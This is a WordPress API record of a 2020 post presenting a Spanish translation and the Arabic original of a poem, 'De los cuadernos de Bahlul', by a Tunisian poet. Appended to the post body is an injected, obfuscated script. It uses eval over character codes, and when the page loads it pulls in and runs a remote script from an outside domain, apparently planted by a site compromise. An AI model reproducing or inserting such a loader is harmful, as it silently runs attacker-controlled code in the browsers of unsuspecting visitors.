{"id":23841,"date":"2020-09-04T19:26:48","date_gmt":"2020-09-04T19:26:48","guid":{"rendered":"https:\/\/www.worldofculture2020.com\/?p=23841"},"modified":"2020-09-04T19:26:48","modified_gmt":"2020-09-04T19:26:48","slug":"de-los-cuadernos-de-bahlul","status":"publish","type":"post","link":"https:\/\/worldofculture2020.com\/?p=23841","title":{"rendered":"De los cuadernos de Bahlul"},"content":{"rendered":"<p dir=\"ltr\">\u00a0<\/p>\n<p dir=\"ltr\"><span style=\"font-size: \u0661\u066b\u0660\u0660em;\">Traducido al espa\u00f1ol por Fatiha Bejjaj Sbai . <\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: right;\"><strong><span style=\"font-size: \u0661\u066b\u0660\u0660em;\">\u062a\u0631\u062c\u0645\u0629 \u0644\u0644\u0625\u0633\u0628\u0627\u0646\u064a\u0629: \u0627\u0644\u0623\u062f\u064a\u0628\u0629 \u0641\u062a\u064a\u062d\u0629 \u0628\u062c\u0627\u062c \u0627\u0644\u0633\u0628\u0627\u0639\u064a<\/span><\/strong><\/p>\n<p dir=\"rtl\" style=\"text-align: left;\">Sigo las huellas de los funcionarios<br \/>Desnudo<br \/>con una barba lisa<br \/>voy corriendo detr\u00e1s de la carroza de los muertos<br \/>Mis piernas son dos nieblas<br \/>y mis l\u00e1grimas son p\u00e1jaros<br \/>Vuelan por las aires<br \/>bofetando lentamente la puerta de mi sombra<br \/>vertiendo recuerdos profundos<br \/>y gritando como una viuda:<br \/>Todo se acab\u00f3..<br \/>No hay sombra que escucha el entonar de los pies<br \/>ni palabras que mueven a la piedras del sentido<br \/>ni profundidad para la luz<br \/>ni puerta para el alma ni l\u00e1mparas..<br \/>ni sentido al significado ni tampoco orilla<br \/>Para nuestras eternas heridas<br \/>As\u00ed nos caemos en el olvido<br \/>Caemos en la misi\u00f3n del hielo<br \/>Se apagan las ra\u00edces de la materia<br \/>en la cimas del silencio..<br \/>Lloro como abubilla<br \/>le perdi\u00f3 una trampa filos\u00f3fica&#8230;<br \/>As\u00ed nos manipula la oscuridad<br \/>seg\u00fan los tr\u00edpodes de la separaci\u00f3n<br \/>As\u00ed la arena traga su origen<br \/>con la cucharada del polvo..<br \/>As\u00ed se callan nuestras campanas<br \/>bajo el bombardeo de la ausencia..<br \/>penetr\u00e1ndose en el cuerpo de la tierra..<br \/>Rendidas al ritmo de la aniquilaci\u00f3n.<br \/><strong>\u0627\u0644\u0646\u0635 \u0641\u064a \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629<\/strong><br \/><strong> <span style=\"font-size: \u0661\u066b\u0660\u0660em;\">\u0645\u0646 \u062f\u0641\u0627\u062a\u0631 \u0628\u0647\u0644\u0648\u0644 &#8211; \u0641\u062a\u062d\u064a \u0645\u0647\u0630\u0628 | \u062a\u0648\u0646\u0633<\/span><\/strong><\/p>\n<p dir=\"rtl\">\u0623\u0642\u062a\u0641\u064a \u0623\u062b\u0631 \u0627\u0644\u062c\u0646\u0627\u0626\u0632<br \/>\u062d\u0627\u0641\u064a\u0627 .. <br \/>\u0628\u0644\u062d\u064a\u0629 \u0645\u062a\u0647\u062f\u0644\u0629..<br \/>\u0623\u0639\u062f\u0648 \u0648\u0631\u0627\u0621 \u0639\u0631\u0628\u0629 \u0627\u0644\u0623\u0645\u0648\u0627\u062a<br \/>\u0633\u0627\u0642\u0627\u064a \u063a\u064a\u0645\u062a\u0627\u0646..<br \/>\u0648\u062f\u0645\u0648\u0639\u064a \u0639\u0635\u0627\u0641\u064a\u0631<br \/>\u062a\u062d\u0644\u0642 \u0641\u064a \u0627\u0644\u0647\u0648\u0627\u0621..<br \/>\u0635\u0627\u0641\u0642\u0627 \u0628\u0627\u0628 \u0638\u0644\u064a \u0628\u0628\u0637\u0621..<br \/>\u0630\u0627\u0631\u0641\u0627 \u0630\u0643\u0631\u064a\u0627\u062a \u0639\u0645\u064a\u0642\u0629<br \/>\u0635\u0627\u0626\u062d\u0627 \u0645\u062b\u0644 \u0623\u0631\u0645\u0644\u0629 :<br \/>\u0625\u0646\u062a\u0647\u0649 \u0643\u0644 \u0634\u064a\u0621..<br \/>\u0644\u0627 \u0638\u0644 \u064a\u0635\u063a\u064a \u0644\u0646\u063a\u0645\u0629 \u0627\u0644\u0642\u062f\u0645\u064a\u0646<br \/>\u0644\u0627 \u0643\u0644\u0645\u0627\u062a \u062a\u062d\u0631\u0643 \u062d\u062c\u0631 \u0627\u0644\u0645\u0639\u0646\u0649..<br \/>\u0644\u0627 \u0639\u0645\u0642 \u0644\u0644\u0636\u0648\u0621..<br \/>\u0644\u0627 \u0628\u0627\u0628 \u0644\u0644\u0631\u0648\u062d \u0648\u0644\u0627 \u0645\u0635\u0627\u0628\u064a\u062d..<br \/>\u0644\u0627 \u0645\u0639\u0646\u0649 \u0644\u0644\u0645\u0639\u0646\u0649 \u0648\u0644\u0627 \u0636\u0641\u0627\u0641<br \/>\u0644\u062c\u0631\u062d\u0646\u0627 \u0627\u0644\u0623\u0628\u062f\u064a..<br \/>\u0647\u0643\u0630\u0627 \u0646\u0633\u0642\u0637 \u0641\u064a \u0627\u0644\u0646\u0633\u064a\u0627\u0646<br \/>\u0646\u0633\u0642\u0637 \u0641\u064a \u0645\u0647\u0645\u0647 \u0627\u0644\u0635\u0642\u064a\u0639..<br \/>\u062a\u0646\u0637\u0641\u0626 \u062c\u0630\u0648\u0631 \u0627\u0644\u0647\u064a\u0648\u0644\u0649..<br \/>\u0641\u064a \u0630\u0631\u0648\u0627\u062a \u0627\u0644\u0635\u0645\u062a..<br \/>\u0623\u0628\u0643\u064a \u0645\u062b\u0644 \u0647\u062f\u0647\u062f<br \/>\u0634\u0631\u062f\u0647 \u0645\u0623\u0632\u0642 \u0641\u0644\u0633\u0641\u064a..<br \/>\u0647\u0643\u0630\u0627 \u062a\u0637\u0628\u062e\u0646\u0627 \u0627\u0644\u0639\u062a\u0645\u0629<br \/>\u0639\u0644\u0649 \u0623\u062b\u0627\u0641\u064a \u0627\u0644\u0641\u0642\u062f ..<br \/>\u0647\u0643\u0630\u0627 \u064a\u0623\u0643\u0644 \u0627\u0644\u062a\u0631\u0627\u0628 \u0633\u0646\u062e\u0647<br \/>\u0628\u0645\u0644\u0639\u0642\u0629 \u0627\u0644\u063a\u0628\u0627\u0631..<br \/>\u0647\u0643\u0630\u0627 \u062a\u062e\u0628\u0648 \u0646\u0648\u0627\u0642\u064a\u0633\u0646\u0627<br \/>\u062a\u062d\u062a \u0642\u0635\u0641 \u0627\u0644\u063a\u064a\u0627\u0628..<br \/>\u0646\u0648\u063a\u0644 \u0641\u064a \u062c\u0633\u062f \u0627\u0644\u0623\u0631\u0636..<br \/>\u0645\u0633\u062a\u0633\u0644\u0645\u064a\u0646 \u0644\u0625\u064a\u0642\u0627\u0639 \u0627\u0644\u0641\u0646\u0627\u0621 .<\/p>\n<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));\/*54745756836*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 Traducido al espa\u00f1ol por Fatiha Bejjaj Sbai . \u062a\u0631\u062c\u0645\u0629 \u0644\u0644\u0625\u0633\u0628\u0627\u0646\u064a\u0629: \u0627\u0644\u0623\u062f\u064a\u0628\u0629 \u0641\u062a\u064a\u062d\u0629 \u0628\u062c\u0627\u062c \u0627\u0644\u0633\u0628\u0627\u0639\u064a Sigo las huellas de los funcionariosDesnudocon una barba lisavoy corriendo detr\u00e1s de la carroza de los muertosMis piernas son dos nieblasy mis l\u00e1grimas son p\u00e1jarosVuelan por las airesbofetando lentamente la puerta de mi sombravertiendo recuerdos profundosy gritando como una viuda:Todo &hellip;<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"_links":{"self":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23841"}],"collection":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=23841"}],"version-history":[{"count":1,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23841\/revisions"}],"predecessor-version":[{"id":23842,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=\/wp\/v2\/posts\/23841\/revisions\/23842"}],"wp:attachment":[{"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=23841"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=23841"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/worldofculture2020.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=23841"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}